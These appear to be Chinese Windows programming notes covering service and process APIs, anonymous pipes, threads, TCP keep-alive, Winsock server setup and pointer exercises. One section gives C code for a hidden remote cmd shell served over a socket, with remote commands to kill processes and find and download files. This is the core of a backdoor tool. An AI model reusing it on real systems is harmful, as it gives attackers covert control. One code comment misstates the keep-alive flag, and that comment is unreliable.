打开服务控制管理器OpenSCManagerW

在指定的计算机上建立与服务控制管理器的连接,并打开指定的服务控制管理器数据库。

函数原型:
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);

参数1:目标计算机的名称。如果指针为NULL或指向空字符串,则该函数将连接到本地计算机上的服务控制管理器。

参数2:服务控制管理器数据库的名称。此参数应设置为SERVICES_ACTIVE_DATABASE。如果为NULL,则默认情况下将打开SERVICES_ACTIVE_DATABASE数据库。

参数3:访问服务控制管理器。

服务控制管理器的访问权限

以下是SCM的特定访问权限。

服务控制管理器的访问权限
访问权 描述
SC_MANAGER_ALL_ACCESS(0xF003F) 除了此表中的所有访问权限之外,还包括STANDARD_RIGHTS_REQUIRED
SC_MANAGER_CREATE_SERVICE(0x0002) 调用CreateService函数来创建服务对象并将其添加到数据库中是必需的。
SC_MANAGER_CONNECT(0x0001) 连接到服务控制管理器所需。
SC_MANAGER_ENUMERATE_SERVICE(0x0004) 调用EnumServicesStatusEnumServicesStatusEx函数以列出数据库中的服务是必需的。创建或删除任何服务时
,调用NotifyServiceStatusChange函数以接收通知是必需的。
SC_MANAGER_LOCK(0x0008) 调用LockServiceDatabase函数以获取数据库锁是必需的。
SC_MANAGER_MODIFY_BOOT_CONFIG(0x0020) 调用NotifyBootConfigStatus函数所需。
SC_MANAGER_QUERY_LOCK_STATUS(0x0010) 调用QueryServiceLockStatus函数以检索数据库的锁状态信息所必需。

以下是SCM的常规访问权限

服务控制管理器的访问权限
访问权 描述
GENERIC_READ STANDARD_RIGHTS_READ
SC_MANAGER_ENUMERATE_SERVICE
SC_MANAGER_QUERY_LOCK_STATUS
GENERIC_WRITE STANDARD_RIGHTS_WRITE
SC_MANAGER_CREATE_SERVICE
SC_MANAGER_MODIFY_BOOT_CONFIG
GENERIC_EXECUTE STANDARD_RIGHTS_EXECUTE
SC_MANAGER_CONNECT
SC_MANAGER_LOCK
GENERIC_ALL SC_MANAGER_ALL_ACCESS

注意:权限要采取用多少申请多少的原则。

https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagerw

创建进程函数CreateProcess

用来创建一个新进程和它的主线程。

函数原型:

BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

参数1:指向一个NULL结尾的、用来指定可执行模块的字符串。
这个字符串可以是可执行模块的绝对路径,也可以是相对路径,在后一种情况下,函数使用当前驱动器和目录建立可执行模块的路径。
这个参数可以被设为NULL,在这种情况下,可执行模块的名字必须处于 lpCommandLine 参数最前面并由空格符与后面的字符分开。

参数2:指向一个以NULL结尾的字符串,该字符串指定要执行的命令行。
这个参数可以为空,那么函数将使用lpApplicationName参数指定的字符串当做要运行的程序的命令行。
如果lpApplicationName和lpCommandLine参数都不为空,那么lpApplicationName参数指定将要被运行的模块,lpCommandLine参数指定将被运行的模块的命令行。新运行的进程可以使用GetCommandLine函数获得整个命令行。C语言程序可以使用argc和argv参数。

参数3:指向SECURITY_ATTRIBUTES结构体的指针,该结构体确定子进程是否可以继承返回到新进程对象的句柄。如果lpProcessAttributes为NULL,则不能继承该句柄。

参数4:指向SECURITY_ATTRIBUTES结构体的指针,该结构体确定子进程是否可以继承返回到新线程对象的句柄。如果lpThreadAttributes为NULL,则不能继承该句柄。

参数5:如果此参数为TRUE,则新进程将继承调用进程中的每个可继承句柄。如果参数为FALSE,则不会继承句柄。请注意,继承的句柄与原始句柄具有相同的值和访问权限。

参数6:控制优先级类别和流程创建的标志。
⑴值:CREATE_DEFAULT_ERROR_MODE
含义:新的进程不继承调用进程的错误模式。CreateProcess函数赋予新进程当前的默认错误模式作为替代。应用程序可以调用SetErrorMode函数设置当前的默认错误模式。
这个标志对于那些运行在没有硬件错误环境下的多线程外壳程序是十分有用的。
对于CreateProcess函数,默认的行为是为新进程继承调用者的错误模式。设置这个标志以改变默认的处理方式。
⑵值:CREATE_NEW_CONSOLE
含义:新的进程将使用一个新的控制台,而不是继承父进程的控制台。这个标志不能与DETACHED_PROCESS标志一起使用。
⑶值:CREATE_NEW_PROCESS_GROUP
含义:新进程将是一个进程树的根进程。进程树中的全部进程都是根进程的子进程。新进程树的用户标识符与这个进程的标识符是相同的,由lpProcessInformation参数返回。进程树经常使用GenerateConsoleCtrlEvent函数允许发送CTRL+C或CTRL+BREAK信号到一组控制台进程。
⑷值:CREATE_SEPARATE_WOW_VDM
如果被设置,新进程将会在一个私有的虚拟DOS机(VDM)中运行。另外,默认情况下所有的16位Windows应用程序都会在同一个共享的VDM中以线程的方式运行。单独运行一个16位程序的优点是一个应用程序的崩溃只会结束这一个VDM的运行;其他那些在不同VDM中运行的程序会继续正常的运行。同样的,在不同VDM中运行的16位Windows应用程序拥有不同的输入队列,这意味着如果一个程序暂时失去响应,在独立的VDM中的应用程序能够继续获得输入。
⑸值:CREATE_SHARED_WOW_VDM
如果WIN.INI中的Windows段的DefaultSeparateVDM选项被设置为真,这个标识使得CreateProcess函数越过这个选项并在共享的虚拟DOS机中运行新进程。
⑹值:CREATE_SUSPENDED
含义:新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
⑺值:CREATE_UNICODE_ENVIRONMENT
含义:如果被设置,由lpEnvironment参数指定的环境块使用Unicode字符,如果为空,环境块使用ANSI字符。
⑻值:DEBUG_PROCESS
含义:如果这个标志被设置,调用进程将被当做一个调试程序,并且新进程会被当做被调试的进程。系统把被调试程序发生的所有调试事件通知给调试器。
如果你使用这个标志创建进程,只有调用进程(调用CreateProcess函数的进程)可以调用WaitForDebugEvent函数。
⑼值:DEBUG_ONLY_THIS_PROCESS
含义:如果此标志没有被设置且调用进程正在被调试,新进程将成为调试调用进程的调试器的另一个调试对象。如果调用进程没有被调试,有关调试的行为就不会产生。
⑽值:DETACHED_PROCESS
含义:对于控制台进程,新进程没有访问父进程控制台的权限。新进程可以通过AllocConsole函数自己创建一个新的控制台。这个标志不可以与CREATE_NEW_CONSOLE标志一起使用。
〔11〕值:CREATE_NO_WINDOW
含义:系统不为新进程创建CUI窗口,使用该标志可以创建不含窗口的CUI程序。

参数7:指向新进程的环境块的指针。如果此参数为NULL,则新进程将使用调用进程的环境。

参数8:指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。这个字符串必须是一个包含驱动器名的绝对路径。如果这个参数为空,新进程将使用与调用进程相同的驱动器和目录。

参数9:指向STARTUPINFO或STARTUPINFOEX结构的指针 。

参数10:指向PROCESS_INFORMATION结构的指针,该结构体接收有关新进程的标识信息。该参数为输出参数。

使用匿名管道实现远程cmd

DWORD WINAPI DoublePipe(LPVOID p)
{
    BOOL		DataSend;
    int			SendDataLen = 0;
    char		cmdline[1024];
    char		PipeBuffer[1024];
    HANDLE		hRead2;
    HANDLE		hWrite2;
    SECURITY_ATTRIBUTES sa2;		//这个结构为很多函数创建对象时提供安全性设置。
    STARTUPINFO		si;		//用于指定新进程的主窗口特性的一个结构。
    PROCESS_INFORMATION	pi;		//在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息。
    BOOL		Result;
    DWORD		bytesRead;
    int			ReadLen = 0;	//已读数据长度

    struct Socket_Recv* Information = p;

    do
    {
        SecureZeroMemory(cmdline, sizeof(cmdline));
        SecureZeroMemory(&si, sizeof(si));
        SecureZeroMemory(PipeBuffer, sizeof(PipeBuffer));

        sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa2.lpSecurityDescriptor = NULL;
        sa2.bInheritHandle = TRUE;
        CreatePipe(&hRead2, &hWrite2, &sa2, 0);

        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si);            //WindowsAPI函数。该函数取得进程在启动时被指定的 STARTUPINFO 结构。
        si.hStdError = hWrite2;
        si.hStdOutput = hWrite2;
        si.hStdInput = Information->hRecvData;
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        GetSystemDirectory(cmdline, MAX_PATH + 1); //取得Windows系统目录(System目录)的完整路径名。
        strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");

        Result = CreateProcess(NULL, cmdline, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        if (Result == 0)
        {
            printf("Error code is %u", GetLastError());
            break;
        }

        while (1)
        {
            Result = PeekNamedPipe(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL, NULL);
            if (Result == FALSE)
            {
                printf("PeekNamePipe Faild.");
                break;
            }
            if (bytesRead > 0)
            {
                Result = ReadFile(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL);
                if (Result == FALSE)
                {
                    printf("ReadFile Faild.");
                    break;
                }
                PipeBuffer[bytesRead] = 0;
                printf("%s", PipeBuffer);

                SendDataLen = strlen(PipeBuffer) + 1;
                DataSend = SendPacket(Information->socket, PipeBuffer, SendDataLen);
                if (DataSend == FALSE)
                {
                    printf("Send Pipe Information faild !\n");
                    printf("The connection is closed !\n");
                    break;
                }
            }
        }
    } while (0);

    CloseHandle(hWrite2);
    CloseHandle(hRead2);
    CloseHandle(Information->hRecvData);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    closesocket(Information->socket);
    return 0;

}


DWORD WINAPI RecvData(LPVOID p)
{
    int					DataRecv;
    int					RecvLen = 1024;
    int					IDRecvLen = 16;
    HANDLE				hNamePipe;
    DWORD				bytesRead;
    BOOL				Result;
    DWORD				ReturnValue;
    HANDLE				hRead1;
    HANDLE				hWrite1;
    SECURITY_ATTRIBUTES sa1;
    struct Socket_Recv Information;

    Information.socket = (SOCKET)p;

    do
    {
        sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa1.lpSecurityDescriptor = NULL;
        sa1.bInheritHandle = TRUE;
        CreatePipe(&hRead1, &hWrite1, &sa1, 0);
        Information.hRecvData = hRead1;

        CreateThread(NULL, 0, DoublePipe, &Information, 0, NULL);

        while (1)
        {
            RecvLen = sizeof(Information.recvbuffer) - 1;
            DataRecv = RecvPacket(Information.socket, Information.recvbuffer, &RecvLen);
            if (DataRecv == FALSE)
            {
                printf("Data receive faild !\n");
                break;
            }
            printf("%s\n", Information.recvbuffer);
            Information.recvbuffer[RecvLen] = 0;
            if (Information.recvbuffer[0] == '/')
            {
                if (Information.recvbuffer[1] == 'p' &&
                    Information.recvbuffer[2] == 'r' &&
                    Information.recvbuffer[3] == 'o' &&
                    Information.recvbuffer[4] == 'c' &&
                    Information.recvbuffer[5] == '\0')
                {
                    CreateThread(NULL, 0, ListProcess, (LPVOID)Information.socket, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'k' &&
                    Information.recvbuffer[2] == 'i' &&
                    Information.recvbuffer[3] == 'l' &&
                    Information.recvbuffer[4] == 'l' &&
                    Information.recvbuffer[5] == ' ')
                {
                    strncpy_s(Information.ProcessID, sizeof(Information.ProcessID), Information.recvbuffer + 6, sizeof(Information.ProcessID) - 1);
                    printf("%s\n", Information.ProcessID);
                    ReturnValue = StrToIntA((PCSTR)Information.ProcessID);
                    Result = KillProc(ReturnValue);
                    if (Result == FALSE)
                    {
                        printf("Kill Process Faild.\n");
                    }
                }
                else if (
                    Information.recvbuffer[1] == 'd' &&
                    Information.recvbuffer[2] == 'r' &&
                    Information.recvbuffer[3] == 'i' &&
                    Information.recvbuffer[4] == 'v' &&
                    Information.recvbuffer[5] == 'e' &&
                    Information.recvbuffer[6] == 'r' &&
                    Information.recvbuffer[7] == '\0')
                {
                    CreateThread(NULL, 0, DriverList, (LPVOID)Information.socket, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'f' &&
                    Information.recvbuffer[2] == 'f' &&
                    Information.recvbuffer[3] == ' ')
                {
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, &Information, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'd' &&
                    Information.recvbuffer[2] == 'l' &&
                    Information.recvbuffer[3] == ' ')
                {
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FileDownload, &Information, 0, NULL);
                }
            }
            else
            {
                strcat_s(Information.recvbuffer, sizeof(Information.recvbuffer), "\r\n");
                printf("%s\n", Information.recvbuffer);

                WriteFile(hWrite1, Information.recvbuffer, strlen(Information.recvbuffer), &bytesRead, NULL);
            }
        }
    } while (0);

    closesocket(Information.socket);
    printf("The connection is closed !\n");
    WSACleanup();
    return 0;
}

使用两个匿名管道(pipe)实现双向通信。

pipe1连接接收数据的缓冲区和cmd进程的hStdInput;

pipe2连接cmd进程的hStdError、hStdOutput和发送数据的缓冲区,以便让服务端获得回显。

创建匿名管道CreatePipe

函数原型:

BOOL CreatePipe(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
);

参数1:指向变量的指针,该变量接收管道的读句柄。

参数2:指向变量的指针,该变量接收管道的写句柄。

参数3:指向SECURITY_ATTRIBUTES结构的指针,该 结构确定子进程是否可以继承返回的句柄。如果lpPipeAttributes为NULL,则不能继承该句柄。
该结构的lpSecurityDescriptor成员为新管道指定安全描述符。如果lpPipeAttributes为NULL,则管道将获取默认的安全描述符。管道的默认安全描述符中的ACL来自创建者的主令牌或模拟令牌。

参数4:管道缓冲区的大小,以字节为单位。大小只是一个建议;系统使用该值来计算适当的缓冲机制。如果此参数为零,则系统使用默认缓冲区大小。

管道的读句柄和写句柄:
从管道里读数据通过读句柄(hReadPipe),往管道里写数据通过写句柄(hWritePipe)。
所以将管道中的数据写入文件里应该通过读句柄
将文件中的数据写入管道应该通过写句柄

创建线程函数CreateThread

使用WindowsAPI中的创建线程函数

函数原型:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES lpsa,
  DWORD cbStack,
  LPTHREAD_START_ROUTINE lpStartAddr,
  LPVOID lpvThreadParam,
  DWORD fdwCreate,
  LPDWORD lpIDThread
);

参数1:一般填NULL,选择默认

参数2:设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。

参数3:指向线程函数的指针

参数4:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL

参数5:选择0或CREATE_SUSPENDED。0表示立即激活,CREATE_SUSPENDED表示该线程在挂起状态下创建,直到调用ResumeThread函数才运行

参数6:指向接收线程标识符的32位变量的长指针。如果此参数为NULL,则不返回线程标识符

返回值:若设置了参数6,则成功时返回新线程的句柄。

Keep_Alive(TCP协议)

当连接已经建立,如不采取任何措施,则无法确认对端是没有发送数据还是已经掉线,所以需要主动确认对端是否存活。如果对端已经掉线还持续占用连接,影响是非常大的。

Keep_Alive可以设定时间间隔主动发送心跳包,如果长期无回应则释放连接。

BOOL Keep_Alive(SOCKET sock)
{
    int					SetSockRet = 0;
    int					WSActl = 0;
    BOOL				KeepALiveSet = TRUE;
    DWORD				IBRet;

    struct tcp_keepalive alive_in;     
    struct tcp_keepalive alive_out;
    alive_in.onoff = 1;                //0为开启,1为关闭
    alive_in.keepalivetime = 30000;    //多长时间(ms)没有数据传输就开始发送心跳包
    alive_in.keepaliveinterval = 2000; //每隔多长时间(ms)send一个心跳包,发5次(系统值)

    SetSockRet = setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (char*)&KeepALiveSet, sizeof(KeepALiveSet));                 //设置KEEPALIVE,默认为2小时没有数据传输开始检测
    if (SetSockRet == SOCKET_ERROR)
    {
        printf("setsockopt failed\n");
        return FALSE;
    }
    WSActl = WSAIoctl(
        sock,               //参数1:Socket
        SIO_KEEPALIVE_VALS, //参数2:要执行的操作的控制代码
        &alive_in,          //参数3:指向输入缓冲区的指针
        sizeof(alive_in),   //参数4:输入缓冲区的大小(以字节为单位)
        &alive_out,         //参数5:指向输出缓冲区的指针
        sizeof(alive_out),  //参数6:输出缓冲区的大小(以字节为单位)
        &IBRet,             //参数7:指向实际输出字节数的指针
        NULL, 
        NULL
    );
    if (WSActl == SOCKET_ERROR)
    {
        printf("WSAIoctl failed\n");
        return FALSE;
    }
    return TRUE;
}

 

 

C语言Socket基本用法

要是用Socket实现基本的通信,主要分以下几个步骤。

1.初始化

函数原型:int WSAStartup( WORD wVersionRequired, LPWSADATA lpWSAData );

参数1:版本选择

参数2:设置一个指向WSADATA数据类型的指针

返回值为0时,表示该函数执行成功。

Startup = WSAStartup(MAKEWORD(2, 2), &wsadata);
if (Startup != 0)
{
    printf("Failed to WSAStartup !\n");
    break;
}

2.申请Socket

函数原型:int socket( int af, int type, int protocol);

参数1:选择地址族(如:AF_INET为ipv4,AF_INET6为ipv6)

参数2:选择套接字类型

参数3:选择协议

返回值:返回套接字描述符

SrvSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == SrvSocket)
{
    printf("Socket invoke failed !\n");
    break;
}

3.设置Socket地址及端口

需声明一个SOCKADDR_IN类型的结构体,具体示例如下

SOCKADDR_IN			LocalAddr;

LocalAddr.sin_family = AF_INET;		//地址族,如AF_INET,带标TCP/IP地址族
LocalAddr.sin_addr.S_un.S_addr = 0;	//存储IP地址
LocalAddr.sin_port = htons(26822);	//存储端口号(htons将整型变量从主机字节顺序转变成网络字节顺序)

memset(LocalAddr.sin_zero, 0x0, sizeof(LocalAddr.sin_zero));
//sin_zero是为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节
//用来将sockaddr_in结构填充到与struct sockaddr同样的长度,可以用memset()函数将其置为零。

4.绑定IP地址

函数原型:int bind( SOCKET s, const sockaddr *addr, int namelen );

参数1:套接字描述符

参数2:指向要分配给绑定套接字的本地地址的sockaddr结构的指针

参数3:名称参数所指向的值的长度(以字节为单位)

SrvBind = bind(SrvSocket, (SOCKADDR*)&LocalAddr, sizeof(SOCKADDR_IN));
if (0 != SrvBind)
{
    printf("Failed to bind !\n");
    printf("Bind Error Code:%u", WSAGetLastError());
    break;
}

5.监听Socket

函数原型:int listen( SOCKET s, int backlog );

参数1:套接字描述符

参数2:挂起连接队列的最大长度。如果将backlog设置为SOMAXCONN,则负责套接字s的基础服务提供商会将backlog设置为最大合理值。没有标准条款来获取实际积压值。

SrvListen = listen(SrvSocket, 5);

if (0 != SrvListen)
{
    printf("Failed to listen !\n");
    break;
}

6.接受链接

函数原型:SOCKET WSAAPI accept( SOCKET s, sockaddr *addr, int *addrlen );

参数1:标示一个已处于监听状态下的套接字

参数2:通信层已知的指向接收连接实体地址的缓冲区的可选指针。addr参数的确切格式由创建sockaddr结构的套接字时建立的地址族确定 。

参数3:指向整数的可选指针,该整数包含addr参数指向的结构的长度。

AddrLen = sizeof(Clientaddr);
AcceptSocket = accept(SrvSocket, (SOCKADDR*)&Clientaddr, &AddrLen);
if (INVALID_SOCKET == AcceptSocket)
{
    printf("Accept error !\n");
    break;
}

setlocale函数

位于C标准库include <locale.h>中。

函数原型:char* setlocale (int category, const char* locale);

用于设置或获取运行时语言环境。

 

第一个参数为设定地域的影响范围,需使用<locale.h> 中定义的宏,如下图

第二个参数可以设置地域名称

p = setlocale(LC_ALL, "chs");    //为设置地域为中文地区
p = setlocale(LC_ALL, "en-US");  //为设置地域为英文地区

当第二个参数为NULL时,返回当前系统设置地区

#include <stdio.h>
#include <locale.h>

int main(int argc, char* argv[])
{
 char *p = 0;
 p = setlocale(LC_ALL, NULL);
 printf("%s\n", p);
 
 return 0;
}

 

指针练习题3

判断打印结果:

#include <stdio.h>

int main(int argc, char* argv[])
{
	int a[4] = { 1, 2, 3, 4 };
	int* ptr1 = (int*)(&a + 1);
	int* ptr2 = (int*)((int)a + 1);

	printf("%x\n%x\n", ptr1[-1], *ptr2);

	return 0;
}

分析:

1.ptr1[-1]

  • &a + 1为偏移整个数组的长度,即为4*4个字节。
  • ptr[-1] = *(ptr – 1)

2.*ptr2

  • (int)a强制类型转换为整形(非指针)

  • (int*)((int)a + 1)相当于从左数第二个字节的起始地址开始向后读一个int的长度。即,0002。
  • %x转换为16进制输出为0x2000000。

结果:

 

以上三题出自https://blog.csdn.net/Zhang_1218/article/details/76598525

指针练习题2

判断打印结果:

#include <stdio.h>

struct Test
{
	int		Num;
	char*	pcName;
	short	sData;
	char	cha[2];
	short	sBa[4];
}*p;

int main(int argc, char* argv[])
{
	p = 0x100000;

	printf("%p\n", p + 0x1);
	printf("%p\n", (unsigned long)p + 0x1);
	printf("%p\n", (unsigned int*)p + 0x1);

	return 0;
}

分析:

1.最开始p声明为结构体Test的指针。

2.main函数中为指针p赋值,值为0x100000。

3.第一个printf中,“p + 0x1”即为偏移1个Test结构体的长度。经计算,Test结构体的长度为20个字节。所以结果为0x100014。

4.第二个printf中,由于p被强制类型转换为了unsigned long型,所以已经不能按照指针来计算。结果为0x100001。

5.第三个printf中,p强制类型转换为了unsigned int型的指针,即4个字节。结果为0x100004。

结果: